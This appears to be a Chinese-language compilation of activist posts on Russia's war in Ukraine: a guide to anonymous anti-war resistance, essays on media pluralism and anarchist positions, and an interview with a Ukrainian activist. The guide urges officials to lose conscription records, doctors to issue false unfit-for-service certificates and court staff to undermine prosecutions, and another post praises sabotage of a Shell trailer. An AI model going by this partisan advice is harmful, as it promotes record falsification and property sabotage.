鼓励我们的支持者采取各种形式的匿名行动和党派行动，传播关于乌克兰战争的真实信息。这些类型的行动将适合那些现在还没有准备好或由于某种原因不能出去参加抗议的人。

我们必需警告您，即便是这些类型的反抗行动在今天也同样不安全。例如，我们已经得到很多行动者在散发反战传单时被捕的记录。所以格外建议您：

- 尽量不要单独采取行动，以亲密团队的形式互相照应，是更可靠的方法；
- 请随身携带俄罗斯独立人权媒体项目 **OVD-Info** 的联系方式，万一被捕时你可以获得救助；
- 在社交媒体上 保持匿名！并使用全套 数字安全操作！

您可以做的事：

1. 对抗宣传

许多城市都在地下铁入口处发放免费报纸（如莫斯科的地铁）。这些报纸充满了关于乌克兰战争的最无耻的谎言和宣传，正是这些报纸落入了我们同胞的手中。

你可以每天从经销商那里拿几份这类报纸，直接销毁它们。

如果你足够勇敢，你可以公开摧毁他们，就在街边—— 让其他人看到你对这些谎言的态度。

你也可以撕下房屋墙壁和告示牌上的亲政府传单和贴纸，清除那些张贴在公共交通工具上的这类宣传。

2. 线下分发有关战争的信息

如果你有一台打印机，请打印独立媒体（如美杜莎新闻 (Meduza)、Mediazona、Important Stories 和 The Insider ）上有关战争真相及其受害者的文章。把打印好的材料放在各种信箱里，放在邻居家的窗台上和大门口，或任意留在公共场所。让没有**vpn**的俄罗斯人也能接触到这些材料。

继续张贴反战传单、贴纸和海报（我们将很快分享新的版面设计，但你也可以自己制作）。

请在天黑时进行，穿上不显眼的衣服，戴上口罩。不要同时携带许多

传单。传单可以放在提包里。

如果你是一个艺术家/画家，擅长做街头艺术或涂鸦，请继续在城市各种可能的角落绘制反战涂鸦。覆盖那些宣传性的涂鸦和横幅。

3. 在网上传播信息

据报道，国家机构的公务员现在正被迫参加网上的政治宣传快闪活动，标签为 **#ZaМир, #ZaПутина, #ZaНаших, #ZaРоссию, #СвоихНеБросаем,** 等等。你可以使用同样的标签来传播反战信息和资料。

使用这些标签，写上寓意深刻的反战信息（例如 “我是 #ZaPutin，在海牙的法庭上”），或者传播乌克兰遭受的破坏和人们逃亡的照片。

让我们向这些政治宣传标签发送大量批驳信息，扰乱当局支持战争的洗脑运动。

在 “保守” 的和封闭的社交网络上传播有关战争的真相尤为重要——比如在校友网络 Odnoklassniki 上注册，在 WhatsApp 上做一个通讯等等。要意识到与所谓的假新闻法有关的风险，所以在措辞上要有创意—— 当局禁止我们把入侵战争称为 “战争”，但没有人禁止我们描述，例如，这种所谓的 “特别行动” 的经济后果。

您可以在在线材料中以及在传单、海报、贴纸和示威及集会中使用女权主义反战的符号和标签。

4. 破坏国家的工作

如果你是公务员和私人公司的雇员，被迫为这场战争工作并为其服务（包括信息方面），请尝试破坏性做法。

如果你有一群忠诚的同事，你们可以考虑集体请病假。

如果你受到管理层的压力，请把你的案例公布出来，有一些组织在这种情况下提供免费的法律援助，例如，大学团结工会可以帮助大学讲师和科学家，教师工会可以帮助学校教师。

如果你是法院工作人员，你厌倦欺骗，至少你可以让一些抗议者被当局起诉的案件败诉。

如果你是征兵办公室的雇员，请故意“丢失”应征者的注册信息。如果

你是医疗委员会的医生，请写下应征者因健康状况而不适合服兵役的证明。你可以拯救许多生命。

延伸阅读：

The Art of Monetary War

Some Economic Consequences of the War in Ukraine

Solidarity With Ukraine Doesn’t Mean Calling for More War

How Boris Johnson’s Party Shielded Russian Oligarchs’ Cash

SAUDI-RUSSIA COLLUSION IS DRIVING UP GAS PRICES—AND WORSENING UKRAINE CRISIS

The History of Sanctionshttps://t.me/iyouport/10173

https://t.me/iyouport/10154

○

原文

多元化主流 2⃣ iyouport

乌克兰战争

多元化的主流需要在它之外有一个繁荣的媒体生态系统。主流也许有重要的民主作用，但是，催化变革绝对不是其中之一。

欢迎回来！如果您错过了第1集内容，可以在这里回顾《一个 “赚大钱的完美机遇” 1⃣》。

当哈萨克斯坦的抗议活动报道在1月的第二个周末登上头条时，阿拉木图实际上已经处于混乱的战斗状态好几天了。正如 Anastassiya Schacht 在她的文章中所指出的，只有当俄罗斯军队开始行动时，那一堆国际主流媒体才以巴甫洛夫的方式做出了一些反应。

很快，哈萨克记者和评论员的呼吁就出现在Twitter上了。他们都发出了一个类似的信息，即：如果你是电视编辑，要邀请哈萨克人说点什么，请不要要求我们 “只提供当地背景信息”，而把分析留给你们自己国内的专家。

如果你是一个印刷编辑，与其委托那些只是重复使用哈萨克记者提供的信息做标题的千篇一律的报告，不如直接委托跨国媒体联盟。

每次冲突出现在国际媒体不关注的地方时，这种模式就会重复出现。现在仅仅是，世界的注意力已经转向乌克兰，而问题依旧。

经过近八年的战争，媒体并不缺乏对乌克兰的分析。国际智囊团和政治学者往往是第一站。但在这些学者当中，有多少人根本就不懂乌克兰语或俄语，却脱口而出提到乌克兰记者关于当前危机的什么什么文章？

给人的印象就是，乌克兰处于地缘政治局势的中心，但乌克兰人对此却没有什么发言权。编辑本应确保这种荒唐的印象不会出现。

但这不仅仅是纠正 “中心和边缘” 之间的不平衡问题。“大国” 之间的

狭隘主义也同样根深蒂固，甚至更为严重。虽然大多数记者和评论员会欣然承认他们没有资格谈论乌克兰或哈萨克斯坦，而与直接的无知相比，陈词滥调可能更难以被发现 —— 也更难被承认。

很明显，编辑们更喜欢那些家喻户晓的名字，对任何国家都是如此（当然包括中国。这就是你为什么总是看不到真正有思想的人出现在媒体报道中），因为那些编辑们了解自己的读者群的口味以及读者们准备接受多少陌生的信息。如果没有一个令人信服的替代方案，对职业媒体的狭隘主义、偏见等的指责是没有用的，这一切都不会改变。加入到反对 “主流媒体” 的大合唱中也同样没有意义。

只有当在主流媒体之外有一个繁荣的媒体生态系统时，主流媒体的多元化才有可能发生。主流媒体可能有重要的民主作用，但促进变革绝对不是其中之一。

最近，英国政府宣布将在2027年之前逐步取消英国广播公司（BBC）的牌照费，可以预见的是，欧洲其他地方反对 “国家新闻”（即具有公法授权的代表性的新闻）的人对此表示赞赏。

但就其所有赤裸裸的民粹主义而言，此举也是对BBC机构功能失调的回应。管理主义文化与节目制作过程中的自我审查的胆怯相结合，结果就是这样。人们认为BBC “有偏见” 的看法并不奇怪。正如罗伯特·克雷格最近对德国ARD的批评所表明的那样，不仅仅是在英国，全世界的公共服务广播公司都缺乏问责制。

BBC参与的人格暗杀毁掉了一个政党

如果没有监管，私有化的替代方案将无法弥补这种赤字。像 Netflix 那样的订阅模式既不会带来更多的选择，也不会带来更高的质量 —— 事实上是恰恰相反。公众的公平感可以通过市场以外的方式得到满足。替代累退式牌照费模式的方法，如芬兰的制度，对低收入家庭的豁免制度，可以证明会受到更广泛的欢迎。

不能孤立地看待公共服务媒体。公共服务媒体政治化的部分原因是，私营部门的优质媒体的前景也非常不确定。如果不是这样，考虑公共服务机构的改革会更容易些，因为这些机构尽管有很多缺点，但仍然植根于共同利益的精神。

“欧洲杂志” 就是一个例子。作为欧洲文化期刊之间的合作平台，它是在 “硬性” 提供多样性。其目标是让每份期刊为自己说话；为许多不同的主题和文本类型提供一个平台，不区分 “国内” 和 “国外”、“国

家” 和 “国际”。该平台旨在推崇陌生的东西、被所谓的主流忽略的东西，同时试图避免小众的自恋。

“欧洲杂志” 稳定增长的全球读者群表明这种方式是有需求的。但是，缺乏国家基础也有一些弊端，编辑方面有压力。但在其整体功能效益面前，这点麻烦微不足道。

因此，如果封闭狭隘的本位主义也让您感到厌恶了，您需要记得，仅仅抱怨是没有用的，请考虑创建替代性生态系统的行动。〇

原文

当你处在双面夹击的火力之下 3️⃣ iyouport

乌克兰战争

对于中国朋友来说，这是一个很好的机会，以思考这个随时都有可能变成紧迫和致命的问题，即：如果您的国家与其他国家之间发生战争，您会怎么做？

欢迎回来！这里是第3集。如果您错过了前面的部分，可以在下面回顾：

- 《一个 “赚大钱的完美机遇” 1️⃣》
- 《多元化主流 2️⃣》

本文是一份重要的思考，关于，真正的反压迫抵抗运动如何在国家主义的冲突中生存下来并能做到有效地继续自己的战斗？毕竟，您既无法置身事外，也不能选边站；您既要保证自己的反抗行动不被利用，也要保持其有效性。

如果您逃跑，您就失去了阵地，也被剥夺了战斗力和自主权，您将更深刻地沦陷；如果您选边站，您就会成为国家主义的牺牲品，成为下一个暴政的工具，将您的同胞、连同您的家人，都推到了炮火面前；如果您什么都不做，您将必然面对接下来毫无疑问的大屠杀 …… 别忘了，就连逃跑也是特权，绝大多数人都是跑不掉的。所以，您必需作出正确的选择。

请记得，真正的反抗者完全可以在不支持其他如何国家的议程的情况下反对军事入侵。

这些思考对中国的反抗者非常重要，如您所知，在挺战和反战的混乱舆论中，目前为止都几乎没有人真正开始思考我们这些老百姓的利益 —— 我们自己的未来。是的，这可能是一个艰难的问题，但是，它也是一个必需由您来回答的问题。

这比战争本身更可怕，更复杂。但如果您不能在战争发生之前做好准备，当战争发生时，您就只能是牺牲品。

为了提供关于俄罗斯、乌克兰、美国和北大西洋公约组织（NATO）其他成员之间当前紧张局势的重要背景，本文将首先展示一份精彩的采访记录，随后是一位来自卢甘斯克、现在位于基辅的乌克兰无政府主义者贡献的另一个观点，他说出了最关键的问题。

我们该如何理解因目前集结在乌克兰边境的俄罗斯军队而发生的冲突？这是否只是双方的表演，旨在确保杠杆作用和破坏反对派的稳定？

不幸的是，在今天动荡的全球背景下，即使是最有经验的地缘政治参与者也可能在进入决战前只是计划做一点剑拔弩张的事，但最终还是会陷入困境。也许所发生的一切只是边缘政策，但它仍然有可能最终擦枪走火导致战争。

- 如果您错过了《在拜登任期内，美国和中国会在西太平洋擦枪走火吗？》

过去的一个月里，俄罗斯军队已经被部署到哈萨克斯坦和白俄罗斯，确保了普京作为独裁政权担保人的角色，并表明了他的野心程度，更不用说整个地区不稳定的权力平衡了。美国现在也在向东欧部署军队，为追求竞争对手的帝国野心而加剧了紧张局势。乌克兰总统沃洛基米尔·泽伦斯基（Volodymyr Zelensky）在2021年开始对普京在乌克兰的盟友发起攻势，最近要求拜登政府减少其末日论；这并不表明战争的威胁不存在，而是泽伦斯基仍然要为乌克兰的经济着想 ——无论战争是在几周、几个月，还是几年内。

俄罗斯入侵的前景给真正的反抗者带来了非常棘手的问题。我们该如何反对俄罗斯的军事侵略，而不是简单地配合美国和其他政府的议程？我们如何继续抵制乌克兰资本家和法西斯主义者，而不帮助俄罗斯政府制定一个叙事来证明直接或间接干预的合理性？尤其是，该如何优先考虑乌克兰和邻国的普通老百姓的生命和自由？

如果战争并不是这里唯一的危险呢？我们如何避免将我们自己的反抗运动沦为国家主义势力的附属品，以便不至于在冲突升级的时候变得毫无意义？即使在战争中，我们如何继续组织起来反对一切形式的压迫，而不采用与国家军队相同的逻辑？

> 这并不是乌克兰的事件第一次提出困难的问题。2014年，在占领 Maidan的抗议活动期间，最终推翻了维克多·亚努科维奇的政府，但民族主义者和法西斯分子在这场运动中获得了权力。正如一位证人所写

道的：

【注：Maidan Nezalezhnosti（“独立广场”）是乌克兰首都基辅的中心广场。它是 2004 年大规模抗议活动的地点，在所谓的 “橙色革命” 期间，以及在 2013 年至 2014 年导致2014 年乌克兰革命的事件期间再次发生。】

当年的这段采访准确的描述了当时的情况。必须强调的是，这里没有什么是不可避免的：一场更有活力的革命运动完全可以在基辅产生不同的结果，就像它在哈尔科夫所实现的那样。

当时，反抗组织把法西斯分子在独立广场抗议活动中的崛起描述为“社会运动空间内的反动反击”。

这可能是更糟糕的事情的征兆—— 由此完全可以想象一个敌对的法西斯主义的未来，在这种情况下，为真正的解放进行斗争的可能性变得几乎完全不可见。

今天，我们距离这个未来还有八年时间。乌克兰的悲剧—— 从2014年通过俄罗斯支持的顿涅茨克和卢甘斯克地区的反叛直到今天——显示了俄罗斯、乌克兰和美国内部反独裁运动的软弱所造成的灾难性后果。

在这种情况下，我们看到冲突双方的国家行为者都在动用反法西斯主义和反帝国主义的话语来招募志愿者，借此使其对手失去合法性。真正的法西斯主义者和自称的反法西斯主义者都已经在俄罗斯/乌克兰冲突的双方战斗了多年，他们每一方的支持者也都把另一方描述为帝国主义。https://www.patreon.com/posts/e-wu-ju-shi-guan-61754322

随着我们深入到21世纪，可能会有越来越多的武装斗争寻求招募无政府主义者和其他反法西斯主义者和反帝国主义者。真正的反抗者既不应该因为远离所有这些对抗而使自己变得无关紧要，也不应该让紧迫感推动我们做出代价高昂的错误决定。同样，如果我们以局势混乱、双方都有不太优秀的人为由，推脱自己不采取任何立场的责任，那么我们将必然对随之而来的大屠杀共同承担责任。

在介绍乌克兰的观点之前，我们先回顾一下其他一些关于真正的反抗者该如何参与这类冲突的建议。2013 年五一劳动节在基辅的无政府主义者。

在“为什么有必要支持乌克兰？”这篇文章中，曾在俄罗斯呆过多年的芬兰无政府主义者 Antti Rautiainen 认为，最重要的优先事项是反对俄罗斯的征服战争：

> 乌克兰前30年的“民主”成果，委婉一点的说法，至少是没有说服力的。经济和媒体完全被掌握在敌对的寡头手中，腐败达到了惊人的程度，经济发展落后于非洲许多国家，此外，

普京的政府代表着没有社会主义的克格勃。正如这里记录的，普京的下属经常使用酷刑和捏造的阴谋案，以及老式的警察暴力来镇压异议。Antti 认为，“普京不是欧洲的宪兵，而是整个世界的宪兵”——从叙利亚到缅甸，每当一个独裁者折磨和杀害成千上万的自己的人民时，普京就在那里支持他。

Antti 认为，与下面接受采访的活动家的观点相反，在俄罗斯入侵的情况下，无政府主义者应该支持乌克兰军队，在俄罗斯占领的情况下，应该准备直接与国家主义抵抗组织合作，如果存在一个强大的抵抗组织的话。

这提出了各种困难的问题 —— 真正的反抗者是否有能力向国家军队提供有用的援助？假设他们可以，他们应该这样做吗 —— 应该屈从于国家主义吗？他们如何能在支持某个国家军队的同时，避免导致其对本土境内的社会运动和少数民族更加危险？更不用说使法西斯合法化了？（在乌克兰的案例中就是亚速营）

三面作战的原则之一就是，你不能为了打败一个对手而加强另一个对手。一个世纪前乌克兰的无政府主义者的不幸就说明了这一点，他们把打败反动的白军放在战略首位，而后却被托洛茨基的红军背叛和暗杀了。

同样，如果无政府主义者要与国家主义团体一起工作—— 正如在罗贾瓦和其他地方已经发生的那样—— 那就更有必要阐明对国家权力的批判，并制定一个细微的框架来评估这种实验的结果。

替代军国主义的最好办法是建立一个能够使所有国家的军事力量丧失能力的国际运动。我们已经看到乌克兰激进派对普通俄罗斯人是否有可能做任何事来至少阻碍普京的战争努力表示了可以理解的嘲讽。这不禁让人想起2019年香港的反叛行动，一些参与者也是以种族的角度来框定的。事实上，唯一能使香港免遭中国政府统治的是中国本土的强大革命运动 —— 正如我们在2020年的年终访谈中强调的那样。

- 正如香港活动家所指出的；「我们必须为这些反抗活动感到自豪，但绝对不是以爱国的方式为之自豪，特别是当它被消极地定义为 “香港不是中国” 时，因为这不是一个积极的特征。这就像说，“我不是边境另一边的那些白痴或被洗脑的无人机”。这不能成为我们定义自己的方式。」如果您错过了《“我们要尝试一种没有霸权的生活”：对香港行动者的访谈》

考虑到俄罗斯能够在乌克兰的顿巴斯地区为其议程建立一个立足点，部分原因是乌克兰和俄罗斯身份之间的紧张关系，反俄情绪只会让普京得利。任何针对俄罗斯人民、语言或文化的两极分化，都会加固俄罗斯国家的民族主义基础设施。同样，看看民族主义的历史就能知道，任何对俄罗斯军事侵略的抵抗都会加深乌克兰民族主义的力量，只会为未来的流血事件铺平道路。**2018** 年在基辅举行的反对土耳其入侵阿夫林的小型抗议活动。真正的反抗者完全可以在不支持其他如何国家的议程的情况下反对军事入侵。

关于战争的前景，来自白俄罗斯的无政府主义者阐明了战争的诸多弊端。

> “真正的反抗者从来都不欢迎战争，因为战争会分散民众的注意力，让人们不再去关注我们自己身边不断出现的真正问题。民众不再为自己的自由而奋斗，而是开始讨论前线进步的成功。国际团结的位置被民族主义所取代，民族主义把兄弟姐妹和战友都变成了致命的敌人。战争没有任何进步之处。战争是一种厌世的权力意识形态的胜利。今天，和以往一样，战争仅仅是统治者的游戏，普通人民只是在战争中死亡。在爱国主义的恍惚中，或者仅仅是为了钱”。

然而，全球无政府主义运动并不能为乌克兰人民提供一个替代战争的可靠方案。正如哈萨克斯坦的起义最终被蛮力粉碎那样，2019年以来世界各地的起义几乎都没能推翻他们所挑战的政府。我们正处在一个全世界范围内相互关联的镇压时代，我们还没有解决它所带来的根本性问题。叙利亚爆发的血腥内战—— 部分原因是普京对阿萨德的支持—— 已经提供了一个例子，足以说明，如果革命继续失败，内战取而代之，世界上许多地方将会是什么样子。

我们可能无法阻止未来的战争，但我们仍然要想办法在战争中继续追求我们真正想要的民主变革。

值得注意的是，顺便说一下，至少有一位乌克兰无政府主义者，即哈

尔科夫的《Assembly》杂志的编辑，似乎对俄罗斯入侵乌克兰并不特别担心，认为这是西方媒体的夸大其词。希望这个人是正确的 —— 尽管我们必需注意到，俄罗斯和白俄罗斯的媒体也一直在发表关于乌克兰冲突迫在眉睫的戏剧性故事。

最后，我们希望提请注意瑞典的一项行动的公报，该行动以壳牌公司的一辆拖车为目标，声援哈萨克斯坦的起义，以呼吁注意西方石油公司在哈萨克斯坦和其他受俄罗斯威胁的地方的流血事件中的共谋行为。尽管秘密行动不能替代强大的运动，但该行动令人钦佩地成功展示了俄罗斯专制制度与西方资本家之间密切相关的方式；

> 俄罗斯的刺刀捍卫了普京附庸托卡耶夫的王位。但不仅仅是托卡耶夫。只要看看石油生产就能知道 ——

采访："无政府主义者和乌克兰的战争"

「图」

以下采访是由一位目前生活在国外的白俄罗斯无政府主义者与一位参与过乌克兰不同斗争的无政府主义活动家进行的。您可以在 **Elephant in the Room** 听取音频版本。

以下是文字版。

主持人：几个星期以来，俄罗斯军队已经在乌克兰边境聚集，有可能入侵。我们与一位战友取得了联系，他可以向我们解释一下那里正在发生的事，以及应该期待什么。

今天的嘉宾伊利亚，是一位目前留在乌克兰的无政府主义活动家。打个招呼，嘿，伊利亚。

伊利亚：你好，你好。

主持人：非常感谢你同意接受这次采访。今天，我们将谈论很多不同的事。我认为，对很多人来说，乌克兰发生的事确实令人困惑，有很多误解，也有很多来自双方的政治宣传，我相信。但在我们跳到目前可能发生的入侵的故事之前，我想谈先谈谈乌克兰在后苏联时代的地位。苏联解体后，它在政治上处于什么位置，为什么俄罗斯精英们对乌克兰的政治进程保持影响和控制如此重要？

伊利亚：首先，非常感谢你们邀请我来到这里。

关于乌克兰在苏联解体后的地位，我想说，它是相当动荡的。它经历了几个不同的阶段。在[列奥尼德]库奇马总统时期和1990年代的大部分时间里，它是一个由不同的寡头集团争夺不同权力领域的松散国家。(在某种程度上，这种情况一直存在到今天）。但也要注意到，在这一时期，在20世纪90年代，俄罗斯的国家政策与现在的情况非常不同。在叶利钦担任总统期间，至少据我估计，它不是一个特别帝国主义的政策。当然，两国政府之间的互动一直非常密切，俄罗斯和乌克兰之间的商业和国家当局都有互动。但是，这并不意味着乌克兰要从属于俄罗斯，尽管在苏联时期，俄罗斯和乌克兰之间已经存在很多经济联系和依赖关系，这种联系在苏联解体后继续存在。

当库奇马离开总统职位，[乌克兰]总统[维克多]亚努科维奇和[维克多]尤先科之间出现竞争时，情况发生了变化。维克多·尤先科代表了那种更加西方和民族化的观点。这一冲突在第一次 “独立广场” 抗议活动中达到了顶峰。我想说的是，在2004年的第一次广场抗议活动中，这种冲突达到了顶峰。尤先科赢了，正因为如此，这种更加西方化的政治路线和与俄罗斯保持距离的路线在乌克兰有一段时间成为了主流政治潮流。2008年，当格鲁吉亚（南奥塞梯）发生战争时，乌克兰肯定站在了政治上，而不是军事上，更多的是站在冲突中的格鲁吉亚一方。

但重要的是要明白，在乌克兰内部，有许多不同的文化团体、商业和政治利益团体，以及不同意识形态倾向的团体。他们彼此之间并不都是平等的。这是一个真正复杂和多层次的马赛克，这造成了很多混乱和很多不同的政治潮流和发展。这些即使在乌克兰内部也不容易遵循和理解，有时。

因此，即使尤先科赢得了一段时间，冲突仍然存在，例如，一边是更多的西方人和更多的反俄群体，另一边是更多的亲俄群体，或者我可以说，具有后苏维埃或苏联心态的群体。这种冲突也发生在提倡更多西方路线的政治团体和那些像一些寡头宗族和黑手党宗族一样，更愿意与俄罗斯和俄罗斯当局互动的团体之间。重要的是要明白，在乌克兰，有很多腐败；很多阴暗的政治一直在闭门进行。比欧洲多得多，例如 —— 尽管我们都知道在欧洲也存在这些—— 地方当局的官方声明不一定与他们的实际活动相符。

因此，在尤先科担任总统后，亚努科维奇重新开始竞选总统，并最终赢得了选举[2010年]。在这之后，情况变得非常不明朗，因为他采取了一种非常狡猾的方法，我可以说 —— 不断地试图假装与西方和俄罗斯当局打交道。正因为如此，他在民众中造成了很大的混乱。在最初与欧盟达成一些协议后，他出人意料地试图取消这些协议，并更正

式地进入俄罗斯的影响范围内。这造成了很多分歧和动荡，从而引发了2013年秋末开始的[第二次]独立广场抗议活动。俄罗斯军事演习。

主持人：谈到广场抗议活动，你能不能稍微总结一下那里发生的事（但要非常简短，因为全部故事真的很长），其中的关键点可能是有趣的，关于谁在参与，为什么会被挑起，以及广场抗议的结果是什么？

伊利亚：是的，当然。真的很难简单地描述它，但我会尽力尝试简化一下。起初，它主要从学生抗议开始的。这些出现在亚努科维奇的[上述]政治步骤之后，这些步骤在民众中非常不受欢迎，特别是在年轻人中。许多人非常支持与欧盟的关系更加密切：有可能去欧盟而不需要签证和其他形式的合作。因此，当亚努科维奇从他之前宣布的这一路线上后退时，成为2013年11月青年人抗议、主要是学生青年参与的大规模抗议活动的触发点。

但不仅仅是青年人对亚努科维奇的政治感到不满。因此，在青年抗议者被防暴警察毒打后，这激起了乌克兰社会更广泛部分的强烈报复。从那时起，它就变成了多层次的、跨阶级的抗议活动，吸引了社会各阶层的参与。许多来自乌克兰不同地区的人来到基辅的街头，也来到该国东部和西部的许多其他城市。人们不仅走上街头，一段时间后，也开始占领行政大楼。最激烈的抗议活动发生在基辅和几个西部城市，这些城市被认为更亲西方，更远离俄罗斯，更所讲乌克兰语，等等。

冲突经历了几个阶段，对抗不断恶化，然后暂时平息。但后来，在[2014]年2月，它出现了高峰。最后的冲突开始了，抗议者试图占领基辅的议会大楼，还来到总统办公室，要求亚努科维奇总统立即辞职，因为他的镇压、腐败和亲俄政治。防暴警察和特种部队的报复是非常严厉的；大约有一百名抗议者被杀。然后就到了公开对抗的阶段，甚至可以说是武装对抗，抗议者一方和政府一方之间的对抗。这就是一些不光彩的事情开始发展的时刻。亚努科维奇在2月中旬的几天后突然消失，然后出现在俄罗斯。

当他逃跑的时候，这就是乌克兰更亲俄的政权崩溃的时刻。这是目前局势开始发展的转折点。

主持人：对。他还忘了带上他的金色法棍面包，对吗？

伊利亚：是的，是的，没错—— 还有很多其他的东西! [笑声]

【注：据报道，在亚努科维奇逃走后，抗议者在他的住所发现了一块重达两公斤的纯金制成的长面包，以及镀金的厕所。乌克兰资本家弗拉基米尔·卢基亚年科显然将这条金子面包作为生日礼物送给了前总统。】

主持人：西方的很多人，受俄罗斯宣传和造谣运动的影响，开始相信这样的说法，即 2014年在乌克兰发生的事是北约支持的法西斯政变。一些记者—— 也是自由派，但除了自由派之外也有无政府主义者和左翼，他们复制了这种说法—— 认为这是北约的政变，之后建立了法西斯政府。

你能评价一下这种说法吗？这究竟是不是真的，还是在那个时候发生了别的事？

伊利亚：是的，我想我可以自信地谈论它，因为我亲自参与了这些事件。在2月份冲突非常激烈的阶段，我在基辅呆了9天。所以我亲眼看到的是真正的民众运动，有数十万人[参与]。当我后来与一些西方朋友讨论这个问题时，我听到了你描述的这些猜测，说北约在幕后做了什么，以及纳粹政变之类的事。其他人回答说：如果有几十万人上街，那就不可能只是一场精心策划的政变或类似的事件。

当然，极右翼也参与其中。他们积极地参与，在这方面取得了有效的政治发展，而且非常有侵略性，非常有优势，在某种程度上是成功的。但在这些抗议活动中，他们当然还是少数。即使他们的意识形态影响确实存在，这是事实，但只是影响，他们毕竟不是那些为抗议活动立法的人，或者真正设计这些事件的要求和意识形态面貌的人。

我真的看到很多非常自发的民众自我组织。我看到了很多非常真诚的民众对国家机构的不安和愤怒，这些机构确实使这个国家变得贫穷和屈辱。所以在最大程度上，这绝对是一场真实的民众起义。当然，尽管所有能从中受益的政治势力都试图尽可能地影响它。而且他们部分地取得了成功。

但我认为这主要是向我们 —— 自由主义者、无政府主义者、激进左翼（如果你愿意的话）提出的问题 —— 为什么我们没有组织起来与法西斯分子进行有效的斗争？这不是对广场运动或乌克兰人民提出的问题，而是对我们这些革命者提出的问题。再一次总结一下，广场运动首先是一个民众起义。这是纳粹分子组成的亚速营

主持人：广场运动之后，发生的事情就是普京失望了，出现了很多政治猜测和政治斗争，最终[俄罗斯]占领或接管了克里米亚，然后在顿

巴斯[走向俄罗斯支持的分离主义战争]。你能总结一下2014–2015年和现在之间实际发生的事吗？那里有多少冲突在酝酿，还是说那里发生的事是突然出现的？

伊利亚：当亚努科维奇的乌克兰政权开始崩溃时，那是一个关键时刻，所有的稳定和所有原本明确的事情都以某种方式被打破了。然后，俄罗斯当局开始作出非常严厉的反应，而且是冲动的反应。他们想对广场运动采取反措施，该运动有着使乌克兰脱离俄罗斯国家影响的倾向。此后，他们占领了克里米亚半岛。他们还在很大程度上占据了当地人的立场，因为那里的当地人口并不是那么多 —— 当然，我们不能一概而论，但那里的许多人确实并不认同乌克兰，不把自己与乌克兰联系起来。这就是让俄罗斯有机会从乌克兰成功夺取的基础。

他们[俄罗斯当局]也对顿巴斯的事件影响很大，因为新的乌克兰当局，临时政府，做了一些非常愚蠢的举动，反对俄语。这给了俄罗斯宣传者一个机会，把独立广场抗议事件描绘成“反俄暴动”，在这些词的国家意义上。这在很大程度上不是真的，但对顿巴斯的人民来说 —— 这里非常多的人都讲俄语，在心理上与俄罗斯非常接近，据我估计，尽管有很多不同的人生活在那里—— 这为俄罗斯当局创造了机会，以扩大[他们的影响]，向那里派遣部队并支持当地的分离主义团体进行有效的战斗，或至少在与试图确保乌克兰国家完整性的乌克兰军队的斗争中生存下来。

此时，在顿巴斯发生了一些戏剧性的军事事件，其中一部分人宣布他们不想再成为乌克兰的一部分。但如果没有俄罗斯国家的支持，这一运动就不可能发展到如此大的程度。我们需要回顾一下，当时来自顿巴斯的数百万难民既来到了俄罗斯也来到了乌克兰。

很多来自顿巴斯的人仍然觉得自己与乌克兰关系密切。但这绝不是一个可以在两个民族国家，或者说俄罗斯帝国主义国家和乌克兰民族国家的这种国家逻辑中真正解决的问题。这是一个真正需要邦联解决方案的问题。但像往常一样，国家双方都为了自己的利益而利用这场冲突，这也是开始增加民族主义舆论的关键点，无论是在俄罗斯还是在乌克兰，我都可以这么说。涉及美国和拉脱维亚军队的联合训练。

主持人：对。有这些明斯克协议[在2015年]，这是普京、默克尔和西方/东方之间的一种解决方案。但只是为了给顿巴斯一个印象 —— 在过去的几年里，那里是否发生了一些事，或者说是否真的没有发生军事行动，没有发生任何形式的暴力？

伊利亚：当然，重要的是要知道，到今天为止，那些明斯克协议从未

得到真正的执行。即使冲突的活跃阶段 —— 期间前线上下起伏，军队大幅调动—— 已经真正结束，但这里仍然是一个冲突不断的地区，不断发生小规模的冲突，肯定每周都有死亡，有时甚至每天都有。双方的炮火仍然经常发生。这是一个从未愈合的伤口。这仍然是不断发生的状况，即使是低强度的。

主持人：那么随着这些事件的发生，当地的无政府主义运动，或反法西斯运动究竟是什么反应？我记得，反法西斯运动中部分人加入了对俄罗斯人的斗争，并在顿巴斯参战 …… 但那些没有参加战争的无政府主义者和其他反法西斯活动家后来怎么样了？

伊利亚：在这一点上，我首先需要说，在我们讨论的那个时期，我还没有住在乌克兰，在2015年、2016年、2017年等等。但即使在今天，我仍然可以以某种方式进行评估，当然我甚至在之前就已经掌握了这个运动的脉搏。

是的，无政府主义运动的一些部分真的得到了这种 “爱国” 情绪的影响，或者，有人会说是 “反帝国主义” 情绪，他们采取了这种防御性的一面，也就是说，一些人加入了志愿部队，也加入了军队，正规军，动机是必须对抗普京帝国主义国家更大的邪恶。有些人也许采取了更温和、更国际主义的立场，试图强调双方都不是好东西，双方都代表压迫性和坏的政治—— 俄罗斯国家方面和乌克兰国家方面没什么区别。

但是目前，我认为当地无政府主义社区的绝对多数人对任何俄罗斯的入侵都是超级敌视的，并且不相信普京方面的所有猜测，即 “这是某种反法西斯的行动，对抗乌克兰的极右政治” 等等。这不可能。这只是一个帝国主义的行动。所有当地的活动家都清楚这一点。

主持人：今年开始就是一场巨大的跨国镇压风暴。俄罗斯人与他们的伙伴一起入侵了哈萨克斯坦，并帮助稳定了托卡耶夫政权。现在，在乌克兰也有可能发生战争。你能谈谈你的看法吗，关于普京为何如此迅速地开始这些真正的侵略性行动？我想，自从他们开始将军队转移到乌克兰边境，以及哈萨克危机等，已经有几个月了。你对发生这种情况的原因有什么看法？

伊利亚：从总体上讲，普京政权正处于一个绝望的境地。一方面，它仍然非常强大，有很多资源，对自己的领土有很多控制。但与此同时，他们的权力正像手指间的沙子一样滑落。在不同的地方，这个由普京设计的周边国家系统出现了明显的裂痕，这些国家应该是他的政权的卫星，比如哈萨克斯坦、白俄罗斯、吉尔吉斯斯坦和亚美尼亚。

我刚才提到的每个国家都在发生非常大的社会潮流，重大的社会起义和抗议。从地缘政治上讲，普京对这些邻国领土的控制力会下降，这是一个严重的威胁。

另外，从内部来说，俄罗斯的经济形势从2014年开始退化，实际上是从这些独立广场抗议事件、克里米亚接管、以及西方大国对俄罗斯的大制裁开始的。它引发了经济的持续下降，现在普京在克里米亚接管后获得的很多人气已经消失了。另外，这也是在COVID-19大流行下激发出来的，这对他在民众中的声望一点帮助都没有。现在，在很大程度上，即使在俄罗斯国内，他也不是那么受欢迎的领导人。

所以这就是现状，如果你是普京—— 你仍然非常强大，但与此同时，你看到的情况并不对你有利。我认为所有这些侵略行为都是绝望的尝试，以防止他的权力滑落，以某种方式仍然保持他的独裁统治。

